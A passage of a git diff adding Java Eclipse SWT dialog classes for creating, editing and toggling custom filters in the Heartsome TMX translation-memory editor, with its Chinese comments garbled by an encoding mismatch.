+import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; + +/** + * 过滤器对è¯æ¡†ï¼ˆè‡ªå®šä¹‰è¿‡æ»¤å™¨ï¼‰ + * @author Robert 2013-06-14 + */ +public class FilterDialog extends Dialog { + private TableViewer tableViewer; + private static final String filterName = "filterName"; + private static final String filterUseable = "filterUseable"; + + private final Image checkedImg = Activator.getImageDescriptor("images/checked.gif").createImage(); + private final Image uncheckedImg = Activator.getImageDescriptor("images/unchecked.gif").createImage(); + private TmxCustomFilterUtil filterUtil; + private List filterList = new ArrayList(); + + public FilterDialog(Shell parentShell) { + super(parentShell); + initFilter(); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("tmxeditor.filterdialog.title")); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + Button okBtn = getButton(IDialogConstants.OK_ID); + okBtn.setText(Messages.getString("tmxeditor.all.dialog.okBtn")); + Button cancelBtn = getButton(IDialogConstants.CANCEL_ID); + cancelBtn.setText(Messages.getString("tmxeditor.all.dialog.cancelBtn")); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tParent = (Composite) super.createDialogArea(parent); + GridData parentData = new GridData(SWT.FILL, SWT.FILL, true, true); + parentData.widthHint = 650; + parentData.heightHint = 400; + tParent.setLayoutData(parentData); + + // 自定义过滤设置 + Group customGroup = new Group(tParent, SWT.NONE); + customGroup.setText(Messages.getString("tmxeditor.filterdialog.custom.title")); + GridDataFactory.fillDefaults().grab(true, true).applyTo(customGroup); + GridLayoutFactory.swtDefaults().numColumns(2).applyTo(customGroup); + + Label titleLbl = new Label(customGroup, SWT.NONE); + titleLbl.setText(Messages.getString("tmxeditor.filterdialog.custom.display.itmes")); + + new Label(customGroup, SWT.NONE); + + // -自定义过滤器设置中的过滤器列表 + tableViewer = new TableViewer(customGroup, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.MULTI + | SWT.FULL_SELECTION); + final Table table = tableViewer.getTable(); + GridData tableData = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH); + tableData.heightHint = 50; + table.setLayoutData(tableData); + table.setLinesVisible(true); + table.setHeaderVisible(true); + + String[] columnNames = new String[] { Messages.getString("tmxeditor.filterdialog.colum.name.disc"), + Messages.getString("tmxeditor.filterdialog.colum.name.use") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + } + + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + + tableViewer.setInput(filterList); + + CellEditor[] cellEditors = new CellEditor[2]; + cellEditors[0] = null; + cellEditors[1] = new CheckboxCellEditor(table); + tableViewer.setColumnProperties(new String[] { filterName, filterUseable }); + tableViewer.setCellEditors(cellEditors); + tableViewer.setCellModifier(cellModifier); + + tableViewer.refresh(); + + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.7, 0.25 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + // -自定义过滤器设置中的按扭 + Composite btnCmp = new Composite(customGroup, SWT.NONE); + GridDataFactory.swtDefaults().align(SWT.LEFT, SWT.FILL).grab(false, true).applyTo(btnCmp); + GridLayoutFactory.swtDefaults().numColumns(1).applyTo(btnCmp); + Button newBtn = new Button(btnCmp, SWT.NONE); + newBtn.setText(Messages.getString("tmxeditor.filterdialog.newFilter")); + setButtonLayoutData(newBtn); + newBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + // UNDO è¿™é‡Œè¿˜æ²¡æœ‰å¤„ç† + FilterRegularDialog dialog = new FilterRegularDialog(getShell()); + if (dialog.open() == IDialogConstants.OK_ID) { + TmxEditorFilterBean bean = dialog.getCurBean(); + if (bean != null) { + try { + filterList.add(dialog.getCurBean()); + tableViewer.setInput(filterList); + tableViewer.refresh(); + } catch (Exception e2) { + OpenMessageUtils.openMessage(IStatus.WARNING, e2.getMessage()); + } + } + } + } + }); + + final Button editorBtn = new Button(btnCmp, SWT.NONE); + editorBtn.setText(Messages.getString("tmxeditor.filterdialog.editFilter")); + setButtonLayoutData(editorBtn); + editorBtn.setEnabled(false); + editorBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + editorFilter(); + } + }); + + final Button deleteBtn = new Button(btnCmp, SWT.NONE); + deleteBtn.setText(Messages.getString("tmxeditor.filterdialog.deleteFilter")); + setButtonLayoutData(deleteBtn); + deleteBtn.setEnabled(false); + deleteBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + ISelection selection = tableViewer.getSelection(); + if (!selection.isEmpty() && selection != null && selection instanceof IStructuredSelection) { + boolean reponse = OpenMessageUtils.openConfirmMessage(Messages.getString("tmxeditor.filterdialog.config.delete.msg")); + if (!reponse) { + return; + } + + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator iter = structuredSelection.iterator(); + while (iter.hasNext()) { + Object obj = iter.next(); + if (obj instanceof TmxEditorFilterBean) { + filterList.remove(obj); + } + } + try { + tableViewer.setInput(filterList); + tableViewer.refresh(); + } catch (Exception e2) { + OpenMessageUtils.openMessage(IStatus.WARNING, e2.getMessage()); + } + } else { + OpenMessageUtils.openMessage(IStatus.WARNING, Messages.getString("tmxeditor.filterdialog.warn.delete")); + } + } + }); + + tableViewer.addSelectionChangedListener(new ISelectionChangedListener() { + @Override + public void selectionChanged(SelectionChangedEvent event) { + if (table.getSelectionCount() <= 0) { + editorBtn.setEnabled(false); + deleteBtn.setEnabled(false); + } else if (table.getSelectionCount() == 1) { + editorBtn.setEnabled(true); + deleteBtn.setEnabled(true); + } else { + editorBtn.setEnabled(false); + deleteBtn.setEnabled(true); + } + } + }); + + // åŒå‡»è¿›å…¥ç¼–è¾‘æ¨¡å¼ + tableViewer.addDoubleClickListener(new IDoubleClickListener() { + @Override + public void doubleClick(DoubleClickEvent event) { + if (table.getSelectionCount() == 1) { + editorFilter(); + } + } + }); + + return tParent; + } + + /** + * ä¿å­˜æ‰€æœ‰æ•°æ® + * @see org.eclipse.jface.dialogs.Dialog#okPressed() + */ + @Override + protected void okPressed() { + try { + filterUtil.saveFilters(filterList); + } catch (Exception e) { + e.printStackTrace(); + } + + super.okPressed(); + } + + @Override + public boolean close() { + if (checkedImg != null && !checkedImg.isDisposed()) { + checkedImg.dispose(); + } + if (uncheckedImg != null && !uncheckedImg.isDisposed()) { + uncheckedImg.dispose(); + } + return super.close(); + } + + /** + * 修改过滤器 + */ + private void editorFilter() { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator iter = structuredSelection.iterator(); + TmxEditorFilterBean bean = iter.next(); + + FilterRegularDialog dialog = new FilterRegularDialog(getShell(), filterUtil, bean); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + TmxEditorFilterBean resultBean = dialog.getCurBean(); + String id = resultBean.getId(); + try { + for (int i = 0; i < filterList.size(); i++) { + TmxEditorFilterBean filterBean = filterList.get(i); + if (id.equals(filterBean.getId())) { + filterList.remove(i); + filterList.add(i, resultBean); + break; + } + } + + tableViewer.setInput(filterList); + tableViewer.refresh(); + tableViewer.setSelection(new StructuredSelection(resultBean)); + } catch (Exception e) { + OpenMessageUtils.openMessage(IStatus.WARNING, e.getMessage()); + } + } + } else { + + } + } + + /** + * åˆå§‹åŒ– 过滤器文件处ç†å·¥å…·ç±»ï¼Œå³æ‰“开 过滤器存储文件,获å–相应内容 + */ + private void initFilter() { + filterUtil = new TmxCustomFilterUtil(); + filterList = filterUtil.getAllCustomFilters(); + System.out.println(filterList.size()); + } + + /** + * tableViewer的标签æ供器 + * @author robert + */ + class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + if (columnIndex == 1) { + if (element instanceof TmxEditorFilterBean) { + if (((TmxEditorFilterBean) element).isUseable()) { + return checkedImg; + } else { + return uncheckedImg; + } + } + } + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof TmxEditorFilterBean) { + TmxEditorFilterBean bean = (TmxEditorFilterBean) element; + switch (columnIndex) { + case 0: + return bean.getName(); + default: + break; + } + + } + return null; + } + } + + /** cellModifier. */ + private ICellModifier cellModifier = new ICellModifier() { + public boolean canModify(Object element, String property) { + return true; + } + + public Object getValue(Object element, String property) { + if (filterUseable.equals(property) && (element instanceof TmxEditorFilterBean)) { + if (element instanceof TmxEditorFilterBean) { + System.out.println("element.isUseable = " + ((TmxEditorFilterBean) element).isUseable()); + return ((TmxEditorFilterBean) element).isUseable(); + } + } + return null; + } + + public void modify(Object element, String property, Object value) { + if (filterUseable.equals(property) && (element instanceof TableItem) && (value instanceof Boolean)) { + TableItem item = (TableItem) element; + TmxEditorFilterBean bean = (TmxEditorFilterBean) item.getData(); + boolean newValue = (Boolean) value; + System.out.println(newValue); + bean.setUseable(newValue); + tableViewer.refresh(); + } + } + }; + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/FilterRegularDialog.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/FilterRegularDialog.java new file mode 100644 index 0000000..94a1b6d --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/FilterRegularDialog.java @@ -0,0 +1 @@ +package net.heartsome.cat.te.tmxeditor.editor; import java.util.ArrayList; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import java.util.Map.Entry; import net.heartsome.cat.common.ui.utils.OpenMessageUtils; import net.heartsome.cat.common.util.TextUtil; import net.heartsome.cat.te.core.TeCoreConstant; import net.heartsome.cat.te.core.bean.Property; import net.heartsome.cat.te.core.bean.TmxEditorFilterBean; import net.heartsome.cat.te.core.utils.TmxCustomFilterUtil; import net.heartsome.cat.te.tmxeditor.Activator; import net.heartsome.cat.te.tmxeditor.resource.Messages; import org.eclipse.core.runtime.IStatus; import org.eclipse.core.runtime.Status; import org.eclipse.jface.dialogs.Dialog; import org.eclipse.jface.dialogs.IDialogConstants; import org.eclipse.jface.layout.GridDataFactory; import org.eclipse.jface.layout.GridLayoutFactory; import org.eclipse.swt.SWT; import org.eclipse.swt.custom.ScrolledComposite; import org.eclipse.swt.custom.StackLayout; import org.eclipse.swt.events.ModifyEvent; import org.eclipse.swt.events.ModifyListener; import org.eclipse.swt.events.SelectionAdapter; import org.eclipse.swt.events.SelectionEvent; import org.eclipse.swt.graphics.Image; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.widgets.Button; import org.eclipse.swt.widgets.Combo; import org.eclipse.swt.widgets.Composite; import org.eclipse.swt.widgets.Control; import org.eclipse.swt.widgets.Label; import org.eclipse.swt.widgets.Shell; import org.eclipse.swt.widgets.Text; /** * 过滤器规则对è¯æ¡†ï¼Œå³åˆ›å»ºæˆ–修改自定义过滤器的对è¯æ¡† * @author robert 2013-06-17 * */ public class FilterRegularDialog extends Dialog{ private Image addImg; private Image deleteImg; private Text nameTxt; /** 满足所有æ¡ä»¶ã€€çš„按钮 */ private Button fitAllBtn; /** 满足任何一个æ¡ä»¶ã€€çš„按钮 */ private Button fitAnyoneBtn; private ScrolledComposite scroll; private Composite regularParentCmp; private GridData buttonData; private GridData comboData; /** 对象选择框填充内容的ä¿å­˜é›†åˆï¼Œmap 中的key 与 .filter.xml 中的节点相对应。 * 如:test。该值最好ä¸è¦ä¿®æ”¹ï¼Œé™¤éžéœ€æ±‚å˜æ›´ */ private Map targetItemMap = new LinkedHashMap(); /** æ“作方法选择框填充内容的ä¿å­˜é›†åˆï¼Œmap 中的key 与 .filter.xml 中的 type 属性相对应。 * 如:test。该值最好ä¸è¦ä¿®æ”¹ï¼Œé™¤éžéœ€æ±‚å˜æ›´ */ private Map typeItemMap = new LinkedHashMap(); private TmxEditorFilterBean curBean; public FilterRegularDialog(Shell parentShell) { super(parentShell); addImg = Activator.getImageDescriptor("images/addSign.png").createImage(); deleteImg = Activator.getImageDescriptor("images/deleteSign.png").createImage(); // "æºæ–‡", "译文", "批注", "固定属性", "自定义属性" targetItemMap.put("source", Messages.getString("tmxeditor.filterRegularDialog.source")); targetItemMap.put("target", Messages.getString("tmxeditor.filterRegularDialog.target")); targetItemMap.put("note", Messages.getString("tmxeditor.filterRegularDialog.note")); targetItemMap.put("fixedProp", Messages.getString("tmxeditor.filterRegularDialog.fixAttribute")); targetItemMap.put("customProp", Messages.getString("tmxeditor.filterRegularDialog.customAttribute")); // "包å«", "ä¸åŒ…å«", "等于", "ä¸ç­‰äºŽ" typeItemMap.put(TeCoreConstant.FILTER_TYPE_include, Messages.getString("tmxeditor.filterRegularDialog.contains")); typeItemMap.put(TeCoreConstant.FILTER_TYPE_notInclude, Messages.getString("tmxeditor.filterRegularDialog.notcontains")); typeItemMap.put(TeCoreConstant.FILTER_TYPE_equal, Messages.getString("tmxeditor.filterRegularDialog.equal")); typeItemMap.put(TeCoreConstant.FILTER_TYPE_notEqual, Messages.getString("tmxeditor.filterRegularDialog.notequal")); } public FilterRegularDialog(Shell parentShell, TmxCustomFilterUtil filterUtil, TmxEditorFilterBean bean){ this(parentShell); this.curBean = bean; } @Override protected void configureShell(Shell newShell) { super.configureShell(newShell); if (curBean == null) { newShell.setText(Messages.getString("tmxeditor.filterRegularDialog.add_filter_rules")); }else { newShell.setText(Messages.getString("tmxeditor.filterRegularDialog.edit_filer_rules")); } } @Override protected boolean isResizable() { return true; } @Override protected void createButtonsForButtonBar(Composite parent) { super.createButtonsForButtonBar(parent); Button okBtn = getButton(IDialogConstants.OK_ID); okBtn.setText(Messages.getString("tmxeditor.all.dialog.okBtn")); Button cancelBtn = getButton(IDialogConstants.CANCEL_ID); cancelBtn.setText(Messages.getString("tmxeditor.all.dialog.cancelBtn")); } @Override public boolean close() { if (addImg != null && !addImg.isDisposed()) { addImg.dispose(); } if (deleteImg != null && !deleteImg.isDisposed()) { deleteImg.dispose(); } return super.close(); } public TmxEditorFilterBean getCurBean() { return curBean; } public void setCurBean(TmxEditorFilterBean curBean) { this.curBean = curBean; } @Override protected Control createDialogArea(Composite parent) { Composite tParent = (Composite)super.createDialogArea(parent); GridData parentData = new GridData(SWT.FILL, SWT.FILL, true, true); parentData.widthHint = 650; parentData.heightHint = 400; tParent.setLayoutData(parentData); // 显示å称 Composite nameCmp = new Composite(tParent, SWT.NONE); GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(nameCmp); GridLayoutFactory.swtDefaults().numColumns(2).applyTo(nameCmp); Label nameLbl = new Label(nameCmp, SWT.NONE); nameLbl.setText(Messages.getString("tmxeditor.filterRegularDialog.filterName")); nameTxt = new Text(nameCmp, SWT.BORDER); nameTxt.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); // 设置选项 Composite radioCmp = new Composite(tParent, SWT.NONE); GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(radioCmp); GridLayoutFactory.swtDefaults().numColumns(2).applyTo(radioCmp); fitAllBtn = new Button(radioCmp, SWT.RADIO); fitAllBtn.setText(Messages.getString("tmxeditor.filterRegularDialog.fullFillAllCondition")); fitAllBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); fitAllBtn.setSelection(true); fitAnyoneBtn = new Button(radioCmp, SWT.RADIO); fitAnyoneBtn.setText(Messages.getString("tmxeditor.filterRegularDialog.fullfillOneCondition")); fitAnyoneBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); scroll = new ScrolledComposite(tParent, SWT.V_SCROLL); scroll.setLayoutData(new GridData(GridData.FILL_BOTH)); scroll.setExpandHorizontal(true); scroll.setExpandVertical(true); regularParentCmp = new Composite(scroll, SWT.BORDER); GridDataFactory.fillDefaults().grab(true, false).applyTo(regularParentCmp); GridLayoutFactory.fillDefaults().spacing(0, 0).numColumns(1).applyTo(regularParentCmp); scroll.setContent(regularParentCmp); buttonData = new GridData(SWT.RIGHT, SWT.CENTER, false, false); buttonData.widthHint = 50; comboData = new GridData(SWT.FILL, SWT.CENTER, true, false); comboData.widthHint = 100; if (curBean == null) { createRegularCmp(regularParentCmp); }else { initRegularCmp(); } return tParent; } @Override protected void okPressed() { // 首先判断过滤器å称是å¦ä¸ºç©º String filterName = nameTxt.getText().trim(); if (filterName.isEmpty()) { OpenMessageUtils.openMessage(IStatus.WARNING, Messages.getString("tmxeditor.filterRegularDialog.warn.msg1")); return; } // 是å¦æ»¡è¶³æ‰€æœ‰æ¡ä»¶ boolean fitAll = fitAllBtn.getSelection(); TmxEditorFilterBean bean = new TmxEditorFilterBean(); // 开始é历æ¯ä¸ªé¢æ¿ï¼ŒèŽ·å–å‡ºæ•°æ® List srcFilterList = new ArrayList(); List tgtFilterList = new ArrayList(); List noteFilterList = new ArrayList(); List fixedPropFilterList = new ArrayList(); List customPropFilterList = new ArrayList(); parentCmpFor:for (Control control : regularParentCmp.getChildren()) { if (control instanceof Composite) { Control[] children = ((Composite) control).getChildren(); String targetStr = ""; // 对象 String typeOrPropNameStr = ""; // 对象的处ç†ç±»åž‹æˆ–属性å String content = ""; // 处ç†çš„值或属性值 // 处ç†ç¬¬ä¸€åˆ—,å³å¯¹è±¡é€‰æ‹©æ¡† if (children[0] instanceof Combo) { String text = ((Combo)children[0]).getText(); if (text == null || text.trim().isEmpty()) { continue parentCmpFor; } for(Entry entry : targetItemMap.entrySet()){ if (text.equals(entry.getValue())) { targetStr = entry.getKey(); break; } } } if (targetStr == null || targetStr.isEmpty()) { continue parentCmpFor; } if (!targetItemMap.keySet().contains(targetStr)) { continue parentCmpFor; } // 处ç†ç¬¬äºŒåˆ—,获å–对象的处ç†ç±»åž‹æˆ–者属性å if (children[1] instanceof Composite) { Composite cmp = ((Composite)children[1]); Control typeOrNameControl = ((StackLayout)(cmp.getLayout())).topControl; if (typeOrNameControl instanceof Combo) { String text = ((Combo)typeOrNameControl).getText(); if (text == null || text.trim().isEmpty()) { continue parentCmpFor; } for(Entry entry : typeItemMap.entrySet()){ if (text.equals(entry.getValue())) { typeOrPropNameStr = entry.getKey(); break; } } }else if (typeOrNameControl instanceof Text) { String text = ((Text)typeOrNameControl).getText(); if (text == null || text.trim().isEmpty()) { continue parentCmpFor; } typeOrPropNameStr = text; } } if (typeOrPropNameStr == null || typeOrPropNameStr.isEmpty()) { continue parentCmpFor; } // 处ç†ç¬¬ä¸‰åˆ—,å³å¤„ç†å†…容,或者属性内容,针对test 中的 test. if (children[2] instanceof Text) { content = ((Text)children[2]).getText(); if (content == null || content.isEmpty()) { continue parentCmpFor; } } // 将这个å°é¡¹æ·»åŠ åˆ°å¯¹åº”的 集åˆä¸­ if ("source".equals(targetStr)) { srcFilterList.add(new Property(typeOrPropNameStr, content)); }else if ("target".equals(targetStr)) { tgtFilterList.add(new Property(typeOrPropNameStr, content)); }else if ("note".equals(targetStr)) { noteFilterList.add(new Property(typeOrPropNameStr, content)); }else if ("fixedProp".equals(targetStr)) { fixedPropFilterList.add(new Property(typeOrPropNameStr, content)); }else if ("customProp".equals(targetStr)) { customPropFilterList.add(new Property(typeOrPropNameStr, content)); } } } if (curBean == null) { bean.setId(TextUtil.createUUID()); }else { bean.setId(curBean.getId()); } // 如果过滤器未设置内容,则无法ä¿å­˜ if (srcFilterList.size() <= 0 && tgtFilterList.size() <= 0 && noteFilterList.size() <= 0 && fixedPropFilterList.size() <= 0 && customPropFilterList.size() <= 0) { OpenMessageUtils.openMessage(Status.INFO, Messages.getString("tmxeditor.filterRegularDialog.okpress.contentNull")); return; } bean.setName(filterName); bean.setFitAll(fitAll); bean.setUseable(false); bean.setCustom(true); bean.setSrcFilter(srcFilterList); bean.setTgtFilter(tgtFilterList); bean.setNoteFilter(noteFilterList); bean.setFixedPropFilter(fixedPropFilterList); bean.setCustomPropFilter(customPropFilterList); curBean = bean; super.okPressed(); } /** * 针对编辑,将 curBean 转æ¢æˆç•Œé¢ç»„件。 */ private void initRegularCmp(){ nameTxt.setText(curBean.getName()); if (curBean.isFitAll()) { fitAllBtn.setSelection(true); fitAnyoneBtn.setSelection(false); }else { fitAllBtn.setSelection(false); fitAnyoneBtn.setSelection(true); } for(Property property : curBean.getSrcFilter()){ Composite composite = createRegularCmp(regularParentCmp); initTargetCmbo("source", property, composite); } for(Property property : curBean.getTgtFilter()){ Composite composite = createRegularCmp(regularParentCmp); initTargetCmbo("target", property, composite); } for(Property property : curBean.getNoteFilter()){ Composite composite = createRegularCmp(regularParentCmp); initTargetCmbo("note", property, composite); } for(Property property : curBean.getFixedPropFilter()){ Composite composite = createRegularCmp(regularParentCmp); initTargetCmbo("fixedProp", property, composite); } for(Property property : curBean.getCustomPropFilter()){ Composite composite = createRegularCmp(regularParentCmp); initTargetCmbo("customProp", property, composite); } } /** * åˆå§‹åŒ–第一列 * @param targetKey 处ç†å¯¹è±¡çš„标识符,è§ã€€targetItemMap 的 key 值 * @param regualrCmp */ private void initTargetCmbo(String targetKey, Property property, Composite regualrCmp){ String[] targetMapArray = targetItemMap.keySet().toArray(new String[]{}); String[] typeMapArray = typeItemMap.keySet().toArray(new String[]{}); int index = -1; Control[] children = regualrCmp.getChildren(); Control control = null; // 处ç†ç¬¬ä¸€ä¸ªï¼Œå¤„ç†å¯¹è±¡ control = children[0]; for (int i = 0; i < targetMapArray.length; i++) { if (targetKey.equals(targetMapArray[i])) { index = i; break; } } if (index == -1) { return; } ((Combo)control).select(index); // 处ç†ç¬¬äºŒåˆ—,当å‰å¤„ç†å¯¹è±¡çš„处ç†ç±»åž‹ã€€æˆ– 属性的å称 if (children[1] instanceof Composite) { Composite typeOrNameCmp = (Composite) children[1]; Control typeOrNameControl = ((StackLayout)(typeOrNameCmp.getLayout())).topControl; if (typeOrNameControl instanceof Combo) { for (int i = 0; i < typeMapArray.length; i++) { if (property.getKey().equals(typeMapArray[i])) { index = i; break; } } if (index == -1) { return; } ((Combo)typeOrNameControl).select(index); }else if (typeOrNameControl instanceof Text) { ((Text)typeOrNameControl).setText(property.getKey()); } }else { return; } // 处ç†ç¬¬ä¸‰åˆ—,当å‰å¤„ç†çš„处ç†å†…容 或者 属性值 if ((control = children[2]) instanceof Text) { ((Text)control).setText(property.getValue()); } } private Composite createRegularCmp(final Composite regularParentCmp){ final Composite regularCmp = new Composite(regularParentCmp, SWT.NONE); GridDataFactory.fillDefaults().grab(true, false).applyTo(regularCmp); GridLayoutFactory.fillDefaults().numColumns(5).applyTo(regularCmp); // 对象选择框, final Combo targetCmb = new Combo(regularCmp, SWT.READ_ONLY); targetCmb.setItems(targetItemMap.values().toArray(new String[]{})); targetCmb.setLayoutData(comboData); // 这是一个é¢æ¿ã€‚里é¢ä¿å­˜ä¸¤ä¸ªç»„件,若 对象选择框 选择 “固定属性â€ã€â€œè‡ªå®šä¹‰å±žæ€§â€ã€€åŽï¼Œè¿™ä¸ªé¢æ¿æ˜¾ç¤ºä¸ºè¾“入框 final Composite operateCmp = new Composite(regularCmp, SWT.NONE); GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(operateCmp); final StackLayout operateCmpLayout = new StackLayout(); operateCmpLayout.marginHeight = 0; operateCmpLayout.marginWidth = 0; operateCmp.setLayout(operateCmpLayout); // -æ“作方法下拉框 final Combo operateCmb = new Combo(operateCmp, SWT.READ_ONLY); operateCmb.setItems(typeItemMap.values().toArray(new String[]{})); operateCmb.setLayoutData(comboData); // -æ“作方法输入框 final Text operateTxt = new Text(operateCmp, SWT.BORDER); operateTxt.setLayoutData(comboData); operateCmpLayout.topControl = operateCmb; operateCmp.layout(); final Text valueTxt = new Text(regularCmp, SWT.BORDER); valueTxt.setLayoutData(comboData); targetCmb.addModifyListener(new ModifyListener() { @Override public void modifyText(ModifyEvent e) { if (targetCmb.getSelectionIndex() == 3 || targetCmb.getSelectionIndex() == 4) { operateCmpLayout.topControl = operateTxt; operateTxt.setLayoutData(comboData); operateTxt.pack(); operateCmp.layout(); regularCmp.layout(); regularParentCmp.layout(); }else { operateCmpLayout.topControl = operateCmb; operateCmb.setLayoutData(comboData); operateCmp.layout(); regularCmp.layout(); regularParentCmp.layout(); } } }); Button addBtn = new Button(regularCmp, SWT.NONE); addBtn.setImage(addImg); addBtn.setLayoutData(buttonData); addBtn.addSelectionListener(new SelectionAdapter() { @Override public void widgetSelected(SelectionEvent e) { createRegularCmp(regularParentCmp); scroll.setMinSize(regularParentCmp.computeSize(SWT.DEFAULT, SWT.DEFAULT)); regularParentCmp.layout(); scroll.layout(); } }); Button deleBtn = new Button(regularCmp, SWT.NONE); deleBtn.setImage(deleteImg); deleBtn.setLayoutData(buttonData); deleBtn.addSelectionListener(new SelectionAdapter() { @Override public void widgetSelected(SelectionEvent e) { if (e.getSource() instanceof Button) { ((Button)e.getSource()).getParent().dispose(); scroll.setMinSize(regularParentCmp.computeSize(SWT.DEFAULT, SWT.DEFAULT)); regularParentCmp.layout(); scroll.layout(); disableDeleButton(); } } }); regularParentCmp.layout(); enableDeleButton(deleBtn); return regularCmp; } /** * 如果多个正则é…置,就设置ç¦ç”¨çš„按钮å¯ç”¨ * ; */ private void enableDeleButton(Button deleBtn){ if (regularParentCmp.getChildren().length > 1) { deleBtn.setEnabled(true); //将第一个设置é¢æ¿çš„删除按钮设æˆå¯ç”¨ Composite regularCmp = (Composite)regularParentCmp.getChildren()[0]; Control[] contrls = regularCmp.getChildren(); Button deleteBtn = (Button)contrls[4]; deleteBtn.setEnabled(true); }else { deleBtn.setEnabled(false); } } /** * 如果åªæœ‰ä¸€ä¸ªæ­£åˆ™é…置,就ç¦ç”¨åˆ é™¤æŒ‰é’® * ; */ private void disableDeleButton(){ if (regularParentCmp.getChildren().length == 1) { Composite regularCmp = (Composite)regularParentCmp.getChildren()[0]; Control[] contrls = regularCmp.getChildren(); Button deleteBtn = (Button)contrls[4]; deleteBtn.setEnabled(false); } } } \ No newline at end of file diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/TmxEditor.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/TmxEditor.java new file mode 100644 index 0000000..735a50b --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/TmxEditor.java @@ -0,0 +1,971 @@ +/** + * TmxEditor.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor; + +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; +import java.util.Arrays; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.core.TeCoreConstant; +import net.heartsome.cat.te.core.bean.TmxEditorFilterBean; +import net.heartsome.cat.te.core.bean.TmxPropertiesBean; +import net.heartsome.cat.te.core.qa.QACommonFuction; +import net.heartsome.cat.te.core.qa.QAConstant; +import net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess; +import net.heartsome.cat.te.core.tmxdata.DatabaseDataAccess; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess; +import net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable; +import 